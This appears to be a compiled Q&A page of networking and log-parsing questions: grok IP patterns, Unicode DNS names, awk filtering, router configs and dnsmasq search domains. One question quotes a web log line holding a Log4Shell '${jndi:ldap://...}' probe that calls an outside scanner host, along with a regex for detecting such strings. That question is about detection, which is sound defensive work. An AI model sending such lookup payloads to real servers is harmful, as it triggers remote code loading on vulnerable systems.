I am a newbie to logstash / grok patterns.
In my logfile i have a line in this format as below:
::ffff:172.19.7.180 - - [10/Oct/2016:06:40:26 +0000] 1 "GET /authenticator/users HTTP/1.1" 200 7369
When I try to use a simple IP pattern matching %{IP}, using grok constructor, it shows only partial match:
after match: .19.7.180 - - [10/Oct/2016:06:33:58 +0000] 1 "POST /authenticator/searchUsers HTTP/1.1" 200 280
So, only a part of the ip address matched, as the portion 'after match' still shows remaining portion of ip address.
Queries:
1. What is this format of IP address ::ffff:172.19.7.180?
2. How to resolve this issue, to ensure IP address is correctly parsed?
BTW, I am using nodejs middleware morgan logger, which is printing IP address in this format.
Note that the log contains both IPv4 and IPv6 addresses separated by a colon, so the correct pattern you need to use is the following one:
%{IPV6:ipv6}:%{IPV4:ipv4}
Then in your event you'll have two fields:
"ipv6" => "::ffff"
"ipv4" => "172.19.7.180"
This will work until this issue is resolved.
These IP addresses are in the IPv4-Embedded IPv6 Format and the %{IP} doesn't match it. The only way to go is to either use %{DATA} or write your own regex.
Related
According to this post I used proposed regex \"?\$\{(?:jndi|lower|upper|env|sys|java|date|::-j)[^\s]*\" to find jndi-signatures are used in useragent field of web-requests once by Lucene it doesn't work? please see the screenshot below:
Example: [27/Feb/2022:07:26:09 +0000] xxxx.xx.xx.xxx "-" "GET /xampp/cgi.cgi HTTP/1.1" 403 "-b" 0b 2ms "${jndi:ldap://log4shell-generic-W767eV31Ltd9L3OB6vXK${lower:ten}.w.nessus.org/nessus}" xxx.xx.xx.xxx 15638 "xxx.xxx.xx.xxx" "-" - - TLSv1.2 -,-,- It doesn't work with(out) caution marks even I checked /.*n/ based on this source.
I am trying to ping a hostname "win-2k12r2-addc.阿伯测阿伯测ad.hai.com" from a linux client.
I see that DNS requests go over the wire with hostname being sent in utf-8 format
and i get a response from the DNS server also with the correct IP address.
But ping fails with the following error :
ping: unknown host win-2k12r2-addc.阿伯测阿伯测ad.hai.com
If i add an entry into /etc/hosts, it works fine
I have the following entries in /etc/hosts when it works.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
127.0.0.1 localhost ava-dev
::1 localhost
10.141.33.93 win-2k12r2-addc.阿伯测阿伯测ad.hai.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
The /etc/nsswitch.conf file has the following entries for hosts.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
hosts: files dns
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
I somewhat suspect that getaddrInfo() call fails when we try to resolve the address i.e it is not able to handle the DNS responses correctly for hostnames
containing unicode characters.
Has anyone faced this issue before ?
Or has anyone tried resolving a unicode hostname from a linux client ?
The reason i m suspecting getaddrinfo() is because of the following.
Apart from ping, i m trying the following ldap command to the same host and it fails with the below mentioned error
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ldapsearch -d 255 -x -h win-2k12r2-addc.阿伯测阿伯测ad.hai.com
ldap_create
ldap_url_parse_ext(ldap://win-2k12r2-addc.%E9%98%BF%E4%BC%AF%E6%B5%8B%E9%98%BF%E4%BC%AF%E6%B5%8Bad.hai.com)
ldap_sasl_bind
ldap_send_initial_request
ldap_new_connection 1 1 0
ldap_int_open_connection
ldap_connect_to_host: TCP win-2k12r2-addc.阿伯测阿伯测ad.hai.com:389
ldap_connect_to_host: getaddrinfo failed: Name or service not known
ldap_err2string
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
In both the scenarios (ping / ldap), i see the DNS query request going to the DNS server and the correct response from the DNS server back to the linux client.
The following is the value of the hostname sent in the DNS query
win-2k12r2-addc.\351\230\277\344\274\257\346\265\213\351\230\277\344\274\257\346\265\213ad.hai.com: type A, class IN
It looks like you are trying to use UTF-8 or unicode within the DNS system while the DNS system really doesn't like that. It wants ascii (See RFCs 5890, 5891, 5892, 5893 - but mostly 5891). Escaping the utf-8 characters does not turn them into the required ascii encoding, called punycode (prefixed by "xn--"). You want to use the version of your IDN that has punycode instead of the UTF-8:
ping win-2k12r2-addc.xn--ad-tl3ca3569aba8944eca.hai.com
I have a text file that I want to pull host and IP info from only if the IP exists in column 4. For example:
cat hostlist.txt
Server One 255.255.255.255 123.123.123.123
Server Two 255.255.255.255
Server Three 255.255.255.255 123.123.123.123
In this case I would only want to see Server One and Three as Server Two has no data in the fourth column.
awk '{if ($4) print $0;}' < hostlist.txt
does the trick. It's functionally equivalent to the earlier solution but is simpler since you only check for existence rather than matching a regex.
If you can live with lines where field 4 has value 0 not being printed, you can simplify to
$ awk '$4' hostlists.txt
Server One 255.255.255.255 123.123.123.123
Server Three 255.255.255.255 123.123.123.123
This is functionally equivalent to {if ($4) print $0;}, but reduced to just a pattern and using the default action of print $0.
awk approach:
awk 'NF>=4 && $4~/^([0-9]{1,3}\.){3}[0-9]{1,3}$/' hostlist.txt
The output:
Server One 255.255.255.255 123.123.123.123
Server Three 255.255.255.255 123.123.123.123
NF>=4 - ensures that a record has at least 4 fields
$4~/^([0-9]{1,3}\.){3}[0-9]{1,3}$/ - ensures that the 4th field contains IPv4 address (in most simple form. Real IPv4 validation requires an additional conditions)
I need help working with router config backup database. I need to get a list of interfaces that don't have vrf or shutdown in their configuration.
I get the list of all interfaces config passing the config file through awk '/^interface/,/!/'. This gives me the output below:
interface TenGigE0/3/0/0
description
service-policy output QOS
ipv4 mtu 1500
ipv4 address 13.24.15.3 255.255.255.252
carrier-delay up 3000 down 0
load-interval 30
dampening
!
interface TenGigE0/3/0/1
description Link To
!
interface TenGigE0/3/0/1.302
description
vrf 1671
ipv4 address 13.24.14.11 255.255.255.254
encapsulation dot1q 302
Now, i am stuck trying to exclude the interfaces that contain vrf line. What i was trying to do is to grep for vrf, and when there is a match, remove the line that contains the word "interface" above. Unfortunately with no luck. Maybe someone has a more sophisticated solution.
If you have the structured records awk can solve this problem. Given your intermediate file
2$ awk 'BEGIN{RS=ORS="!\n"} !/vrf/' interface
will print the records without "vrf"
interface TenGigE0/3/0/0
description
service-policy output QOS
ipv4 mtu 1500
ipv4 address 13.24.15.3 255.255.255.252
carrier-delay up 3000 down 0
load-interval 30
dampening
!
interface TenGigE0/3/0/1
description Link To
!
I'm trying to get dnsmasq to push multiple search prefixes to windows machines. If I look in the MS dhcp server, it looks to be using dhcp option 135, but any attempt to configure that eg
dhcp-option=135,domain.local1,domain.local2
doesnt get pushed at all (I'm using tcpdump -i br0 -lenx -s 1500 port bootps or port bootpc | dhcpdump to view wat dnsmasq is sending)
I have minor success using dhcp option 15, but it only pushes a single name into the search prefix as displayed by ipconfig /all on windows
Any suggestions ?
Checking the ISC dhcp option list I found this:
119 Domain Search domain-search
One or more domain names, each enclosed in quotes and separated by commas
But note that dnsmasq actually provides you special option (although I'm not sure from which version it starts)
dhcp-option=option:domain-search,eng.apple.com,marketing.apple.com
Our client machines (Ubuntu 18 server using netplan/systemd-resolve) were not requesting DHCP option 119, but I could solve the problem by forcing the server (dnsmasq) to sentd that option in the reply anyway:
dhcp-option-force=option:domain-search,internal,maindomain.com
dhcp-option=option:domain-name,maindomain.com
Using the dhcp-option-force parameter makes sure that the list is sent to the clients regardless of what they ask for.